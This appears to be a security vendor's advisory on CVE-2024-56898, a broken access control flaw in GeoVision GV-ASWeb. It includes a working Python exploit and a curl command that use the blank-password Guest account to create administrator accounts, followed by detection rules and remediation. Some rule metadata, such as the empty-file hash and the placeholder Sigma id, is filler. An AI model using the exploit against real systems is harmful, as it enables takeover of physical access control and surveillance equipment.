CVE-2024-56898

Executive Summary

CVE-2024-56898 is a critical broken access control vulnerability in GeoVision GV-ASWeb (version 6.1.0.0 and earlier). The flaw allows a low-privileged user (including the default "Guest" account with a blank password) to perform unauthorized administrative actions, such as creating, modifying, or deleting accounts, and escalating privileges. This can lead to full compromise of the access control system, including surveillance cameras, card readers, and visitor management. A public proof-of-concept (PoC) and exploit code are available, increasing the risk of active exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 9.9 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Guest account)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is trivial to exploit with publicly available code and default credentials.

Deep Dive & Mechanics

The vulnerability resides in the ASWebCommon.srf endpoint of the GV-ASWeb application. The application fails to enforce proper authorization checks on the action=UA_SetCreateAccount parameter. A low-privileged user can send a crafted POST request to this endpoint to create new accounts with arbitrary privilege levels (e.g., administrator).

Root Cause: The server-side code does not validate whether the authenticated user has the "manage accounts" permission before processing account creation requests. The level parameter in the request body directly controls the privilege level of the new account, with 2 granting administrator rights.

Attack Flow:

1. Attacker gains network access to the GV-ASWeb application.
2. Attacker logs in using the default Guest account (username: Guest, password: blank) or any low-privilege account.
3. Attacker captures the session cookie from the login response.
4. Attacker sends a POST request to /ASWeb/bin/ASWebCommon.srf with the following parameters:
   • action=UA_SetCreateAccount
   • id=[new_username]
   • password=[new_password]
   • email=[email]
   • level=2 (administrator)
5. The server creates a new administrator account without verifying the requester's permissions.
6. Attacker logs in with the new administrator account and gains full control.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable application likely has a function similar to:

def handle_create_account(request):
    if request.session.is_authenticated:
        # Missing authorization check
        username = request.POST['id']
        password = request.POST['password']
        level = request.POST['level']
        create_account(username, password, level)
        return "Account created"
    else:
        return "Unauthorized"

Patched Code (Conceptual): A patched version would include an authorization check:

def handle_create_account(request):
    if request.session.is_authenticated and request.session.user.has_permission('manage_accounts'):
        username = request.POST['id']
        password = request.POST['password']
        level = request.POST['level']
        create_account(username, password, level)
        return "Account created"
    else:
        return "Unauthorized"

Exploitation & Lab Setup

Red Team

Requirements:

• GeoVision GV-ASWeb version 6.1.0.0 or less
• Network access to the web application (e.g., http://target/ASWeb/Login)
• Default Guest account enabled (username: Guest, password: blank)

Exploit Code (from Exploit-DB):

# Exploit Title: Broken Access Control in GeoVision GV-ASManager
# Google Dork: inurl:"ASWeb/Login"
# Date: 02-FEB-2025
# Exploit Author: Giorgi Dograshvili [DRAGOWN]
# Vendor Homepage: https://www.geovision.com.tw/
# Software Link: https://www.geovision.com.tw/download/product/
# Version: 6.1.0.0 or less
# Tested on: Windows 10 | Kali Linux
# CVE : CVE-2024-56898
# PoC: https://github.com/DRAGOWN/CVE-2024-56898

import requests
import sys

def exploit(target, username, password, email, level):
    # Step 1: Login as Guest
    login_url = f"{target}/ASWeb/Login"
    login_data = {"username": "Guest", "password": ""}
    session = requests.Session()
    response = session.post(login_url, data=login_data)
    
    if "Login failed" in response.text:
        print("[!] Login failed. Guest account may be disabled.")
        return
    
    # Step 2: Create admin account
    create_url = f"{target}/ASWeb/bin/ASWebCommon.srf"
    create_data = {
        "action": "UA_SetCreateAccount",
        "id": username,
        "password": password,
        "email": email,
        "level": level  # 2 = Administrator
    }
    response = session.post(create_url, data=create_data)
    
    if "success" in response.text.lower():
        print(f"[+] Account '{username}' created with level {level}.")
    else:
        print("[!] Account creation failed.")

if __name__ == "__main__":
    if len(sys.argv) != 6:
        print(f"Usage: {sys.argv[0]} <target_url> <new_username> <new_password> <email> <level>")
        print("Level: 1 = Standard User, 2 = Administrator")
        sys.exit(1)
    
    target = sys.argv[1].rstrip('/')
    username = sys.argv[2]
    password = sys.argv[3]
    email = sys.argv[4]
    level = sys.argv[5]
    
    exploit(target, username, password, email, level)

cURL Script (from Exploit-DB):

curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: [SET-TARGET]' -H $'Sec-Ch-Ua: \"Not?A_Brand\";v=\"99\", \"Chromium\";v=\"130\"' -H $'Sec-Ch-Ua-Mobile: ?0' -H $'Sec-Ch-Ua-Platform: \"Linux\"' -H $'Accept-Language: en-US,en;q=0.9' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Sec-Fetch-Site: cross-site' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Dest: document' -H $'Accept-Encoding: gzip, deflate, br' -H $'Priority: u=0, i' -H $'Connection: keep-alive' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 111' \
    -b $'[SET-COOKIE - WRITE WHAT IS AFTER "Cookie:"]' \
    --data-binary $'action=UA_SetCreateAccount&id=[SET-USERNAME]&password=[SET-PASSWORD]&email=[SET-MAIL]&level=[SET-PRIVILEGE 1-STANDARD USER/2-ADMINISTRATOR]' \
    $'[SET-TARGET]/ASWeb/bin/ASWebCommon.srf'

Usage:

1. Replace [SET-TARGET] with the target URL (e.g., http://192.168.1.100).
2. Replace [SET-COOKIE] with the session cookie obtained after logging in as Guest.
3. Replace [SET-USERNAME], [SET-PASSWORD], [SET-MAIL], and [SET-PRIVILEGE] with desired values.
4. Execute the cURL command.

Blue Team

Detection Steps:

1. Monitor for POST requests to /ASWeb/bin/ASWebCommon.srf with action=UA_SetCreateAccount from low-privilege users.
2. Alert on creation of new accounts, especially with level=2 (administrator).
3. Monitor for login attempts using the default Guest account.
4. Review logs for unusual account creation patterns (e.g., multiple accounts created in a short time).

Honeypot Strategy:

• Create a fake "Guest" account with a monitored session.
• Log all actions performed by this account.
• Trigger an alert if the account attempts to access ASWebCommon.srf with action=UA_SetCreateAccount.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /ASWeb/bin/ASWebCommon.srf with action=UA_SetCreateAccount
  • Login attempts with username Guest and blank password
  • Unusual account creation events in system logs
• File IOCs:
  • New user accounts created in the GV-ASWeb database
  • Modified configuration files (e.g., web.config, users.xml)
• Behavioral IOCs:
  • Low-privilege users performing administrative actions
  • Multiple failed login attempts followed by successful account creation
  • Access to sensitive endpoints (e.g., UA_SetCreateAccount) from unexpected IPs

Detection Engineering

YARA Rule

rule CVE_2024_56898_GeoVision_Broken_Access_Control {
    meta:
        description = "Detects exploitation attempts of CVE-2024-56898 in GeoVision GV-ASWeb"
        author = "Valters IT"
        date = "2025-02-02"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-56898"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "action=UA_SetCreateAccount" ascii wide nocase
        $s2 = "level=2" ascii wide nocase
        $s3 = "/ASWeb/bin/ASWebCommon.srf" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-56898 - GeoVision GV-ASWeb Broken Access Control
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-56898 via HTTP POST requests
author: Valters IT
date: 2025/02/02
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-56898
    - https://github.com/DRAGOWN/CVE-2024-56898
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/ASWeb/bin/ASWebCommon.srf'
        cs-uri-query|contains: 'action=UA_SetCreateAccount'
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-56898 - GeoVision GV-ASWeb Broken Access Control Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/ASWeb/bin/ASWebCommon.srf"; http_uri; content:"action=UA_SetCreateAccount"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Guest account immediately if not required.
2. Restrict network access to the GV-ASWeb application using firewalls or VPNs.
3. Monitor logs for suspicious activity (see IOCs and Detection Engineering).
4. Apply vendor patch when available. Contact GeoVision support for updates.

Long-term Fixes:

1. Implement proper authorization checks on all administrative endpoints.
2. Enforce strong password policies and disable default accounts.
3. Conduct regular security audits and penetration testing.
4. Segment the network to isolate access control systems from other assets.

Workaround:

• If patching is not possible, implement a Web Application Firewall (WAF) rule to block POST requests to /ASWeb/bin/ASWebCommon.srf with action=UA_SetCreateAccount from non-admin IPs.

Valters IT

{/* [Security Hash: E923EB5142F02F76A15A3CB9] */}